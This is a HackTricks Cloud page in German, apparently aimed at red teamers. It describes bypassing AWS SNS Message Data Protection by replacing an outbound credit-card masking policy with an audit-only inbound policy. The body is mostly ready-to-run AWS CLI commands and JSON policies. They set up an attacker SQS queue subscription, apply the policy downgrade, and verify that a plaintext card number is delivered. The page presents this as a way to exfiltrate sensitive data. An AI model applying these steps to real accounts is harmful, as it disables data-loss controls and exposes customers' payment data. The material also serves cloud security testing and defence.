AWS - SNS Message Data Protection Bypass via Policy Downgrade
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Wenn Sie sns:PutDataProtectionPolicy für ein Topic haben, können Sie dessen Message Data Protection-Richtlinie von Deidentify/Deny auf Audit-only umstellen (oder Outbound-Kontrollen entfernen), sodass sensible Werte (z. B. Kreditkartennummern) unverändert an Ihre Subscription geliefert werden.
Voraussetzungen
- Berechtigungen für das Ziel-Topic, um
sns:PutDataProtectionPolicyaufzurufen (und normalerweisesns:Subscribe, wenn Sie die Daten empfangen möchten). - Standard SNS topic (Message Data Protection wird unterstützt).
Angriffsschritte
- Variablen
REGION=us-east-1
- Erstellen Sie ein Standard-Topic und eine Angreifer-SQS-Queue, und erlauben Sie nur diesem Topic, an die Queue zu senden
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- Hängen Sie eine Data Protection-Policy an, die Kreditkartennummern in ausgehenden Nachrichten maskiert
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- Abonnieren Sie die Angreifer-Queue und veröffentlichen Sie eine Nachricht mit einer Test-Kreditkartennummer, prüfen Sie die Maskierung
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Erwarteter Ausschnitt zeigt Maskierung (Hashes):
"Message" : "payment:{cc:################}"
- Downgrade die Policy auf audit-only (keine deidentify/deny-Anweisungen, die Outbound betreffen)
Für SNS müssen Audit statements Inbound sein. Das Ersetzen der Policy durch eine Audit-only Inbound statement entfernt jegliche Outbound de-identification, sodass Nachrichten unverändert an subscribers weitergeleitet werden.
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- Publish die gleiche Nachricht und verifiziere, dass der unmaskierte Wert geliefert wird
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Erwarteter Auszug zeigt Klartext-CC:
4539894458086459
Auswirkungen
- Das Umschalten eines Topics von de-identification/deny auf audit-only (oder das anderweitige Entfernen von Outbound-Kontrollen) erlaubt es PII/secrets, unverändert an von Angreifern kontrollierte Subscriptions weitergeleitet zu werden und ermöglicht damit Datenexfiltration, die sonst maskiert oder blockiert worden wäre.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud